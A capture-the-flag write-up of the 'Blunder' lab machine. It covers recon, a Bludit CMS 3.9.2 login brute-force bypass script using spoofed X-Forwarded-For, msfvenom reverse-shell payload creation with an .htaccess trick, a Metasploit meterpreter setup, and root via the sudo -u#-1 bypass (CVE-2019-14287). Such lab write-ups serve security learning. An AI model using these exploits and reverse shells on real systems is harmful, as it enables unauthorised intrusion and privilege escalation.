This box was pretty simple and easy one to fully compromise. Good learning path for:
- BLUDIT CMS 3.9.2 Brute-force Mitigation Bypass
- BLUDIT CMS 3.9.2 Directory Traversal Exploit
- CVE-2019-14287 - Sudo Restriction Bypass
Recon
Nmap
Let’s begin with an initial port scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nmap -Pn --open -p- -sC -sV 10.10.10.191
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-24 14:25 EDT
Nmap scan report for 10.10.10.191
Host is up (0.081s latency).
Not shown: 65533 filtered ports, 1 closed port
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.15 seconds
Interesting Ports
- HTTP (80/TCP) - Blunder Web Page.
Dirsearch
Used dirsearch to further enumerate the website.
1
2
3
4
5
6
7
8
9
$ python3 dirsearch.py -u http://10.10.10.191/ -e txt,php,asp,js | grep 200
[15:41:45] 200 - 563B - /.gitignore
[15:41:55] 200 - 3KB - /about
[15:42:00] 200 - 2KB - /admin/
[15:42:51] 200 - 30B - /install.php
[15:42:54] 200 - 1KB - /LICENSE
[15:43:13] 200 - 3KB - /README.md
[15:43:14] 200 - 22B - /robots.txt
When I visited to /admin
, I was promoted to the following BLUDIT login page:
Additionally, /.gitignore
had a list of BLUDIT script contents. By searching, I was able to identify the version of the BLUDIT CMS in http://10.10.10.191/bl-plugins/version/metadata.json
FFUF
I also ran another web discovery tool FFUF just in case I missed anything. I found another .txt
file called todo.txt
which contained the potential username fergus
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ ./ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -e .txt -u http://10.10.10.191/FUZZ -fc 403
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v0.12
________________________________________________
:: Method : GET
:: URL : http://10.10.10.191/FUZZ
:: Extensions : .txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response status: 403
________________________________________________
LICENSE [Status: 200, Size: 1083, Words: 155, Lines: 22]
about [Status: 200, Size: 3280, Words: 225, Lines: 106]
admin [Status: 301, Size: 0, Words: 1, Lines: 1]
cgi-bin/ [Status: 301, Size: 0, Words: 1, Lines: 1]
robots.txt [Status: 200, Size: 22, Words: 3, Lines: 2]
robots.txt [Status: 200, Size: 22, Words: 3, Lines: 2]
todo.txt [Status: 200, Size: 118, Words: 20, Lines: 5]
Initial Foothold
Password Bruteforcing
By Google searching, I found a potential BLUDIT CMS 3.9.2 exploit. But it required valid login credentials to the /admin
page.
Further searching found another exploit to bypass the brute-force lock-out mitigation for the BLUDIT CMS 3.9.2 - Bludit Brute Force Mitigation Bypass
The vulnerability was simply that one of the functions getUserIp
within the lb-kernel/security.class.php
script did not validate the source IP of the login attempt; therefore, an attacker can spoof the source IP with any arbitrary value to bypass the brute-force mitigation.
1
2
3
4
5
6
7
8
9
10
11
public function getUserIp()
{
if (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} else {
$ip = getenv('REMOTE_ADDR');
}
return $ip;
}
In order to perform the password brute-forcing, I cewl
the web page to create the potential wordlist.
1
# cewl http://10.10.10.191 > tmp && cewl http://10.10.10.191/about >> tmp && sort -u tmp > passList.txt
I modified the provided POC script in order to supply the password file. Using this script, I was ablt to obtain the password for the user fergus
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import re
import requests
host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
wordlist = []
with open('passList.txt') as fp:
line = fp.read().splitlines()
for password in line:
session = requests.Session()
login_page = session.get(login_url)
csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)
print('[INFO] Trying: {p}'.format(p = password))
headers = {
'X-Forwarded-For': password,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
'Referer': login_url
}
data = {
'tokenCSRF': csrf_token,
'username': username,
'password': password,
'save': ''
}
login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)
if 'location' in login_result.headers:
if '/admin/dashboard' in login_result.headers['location']:
print()
print('[INFO] SUCCESS: Password found!')
print('[INFO] Use {u}:{p} to login.'.format(u = username, p = password))
print()
break
Bludit 3.9.2 - Directory Traversal Image Upload
Using the POC script, I obtained the reverse shell from the target box.
First, create the evil.png
with a reverse shell and a .htacess
file.
1
2
3
4
5
6
7
### Creating evil.png
$ msfvenom -p php/reverse_php LHOST=10.10.14.15 LPORT=443 -f raw -b '"' > evil.png
$ echo -e "<?php $(cat evil.png)" > evil.png
### Creating .htaccess
$ echo "RewriteEngine off" > .htaccess
$ echo "AddType application/x-httpd-php .png" >> .htaccess
Then, update the poc.py
script with our URL and login credentials.
1
2
3
4
5
6
7
...snip...
url = 'http://10.10.10.191' # CHANGE ME
username = 'fergus' # CHANGE ME
password = 'RolandDeschain' # CHANGE ME
...snip...
While running the listener nc -lvnp 443
, execute the poc.py
script and visit the upload image page at http://10.10.10.191/bl-content/tmp/temp/evil.png
.
$ python3 poc.py
cookie: 335s5kf5clu2j8pe3oe23k93k1
csrf_token: ef167ea5717fc72c4359195bd051aaf3495918ae
Uploading payload: evil.png
Uploading payload: .htaccess
Privilege Escalation
www-data –> hugo (user.txt)
From the enumeration, another BLUDIT CMS bludit-3.10.0a
build was found. Within, I found a PHP script called users.php
which contained SHA-1 hashed password for the hugo
user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: faca404fd5c0a31cf1897b823c695c85cffeb98d
Possible Hashs:
[+] SHA-1
[+] MySQL5 - SHA-1(SHA-1($pass))
And using an online SHA-1 decryptor, the cleartext password for the hugo
user was obtained. (Password: Password120)
NOTE: The reverse shell
php/reverse-php
created with the POC script was not allowing for me to spawn a TTY shell such aspython -c 'import pty;pty.spawn("/bin/bash")'
. There was a Metasploit module for this exploit, so moving forward I will be using that instead of the POC script.
Metasploit Setup:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msf5 exploit(linux/http/bludit_upload_images_exec) > options
Module options (exploit/linux/http/bludit_upload_images_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
BLUDITPASS RolandDeschain yes The password for Bludit
BLUDITUSER fergus yes The username for Bludit
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.191 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path for Bludit
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.15 yes The listen address (an interface may be specified)
LPORT 443 yes The listen port
Exploit target:
Id Name
-- ----
0 Bludit v3.9.2
Getting a TTY Shell:
And successfully reading the user.txt
file.
1
2
3
4
5
6
7
8
9
10
11
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ su -l hugo
su -l hugo
Password: Password120
hugo@blunder:~$ ls
ls
Desktop Downloads Pictures Templates Videos
Documents Music Public user.txt
hugo@blunder:~$ cat user.txt
cat user.txt
18941d126772300c8ea22297f4cd66e6
hugo –> root (CVE-2019-14287)
By quickly checking what sudo
privilege the hugo
user had, it appeared that the hugo
user could run the /bin/bash
command as any users but root
.
1
2
3
4
5
6
7
8
9
10
hugo@blunder:~$ sudo -l
sudo -l
Password: Password120
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
It turned out to be there is a public vulnerability (CVE-2019-14287) which can be used to take adventage of this particular sudoer
configuration.
In Linux, users can be also called by numbers, such as root
= #0
. However, in this case, sudo -u#0 /bin/bash
was still restricted, but using sudo -u#-1 /bin/bash
, the restriction was successfully bypassed to gain root
access.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sudo -u#0 /bin/bash
Password: Password120
Sorry, user hugo is not allowed to execute '/bin/bash' as root on blunder.
hugo@blunder:~$ sudo -u#-1 /bin/bash
sudo -u#-1 /bin/bash
Password: Password120
root@blunder:/home/hugo# id
id
uid=0(root) gid=1001(hugo) groups=1001(hugo)
r
oot@blunder:/home/hugo# cat /root/root.txt
cat /root/root.txt
f278317a8593bd7363e8de5b8b29d6a0
Thanks for reading! :]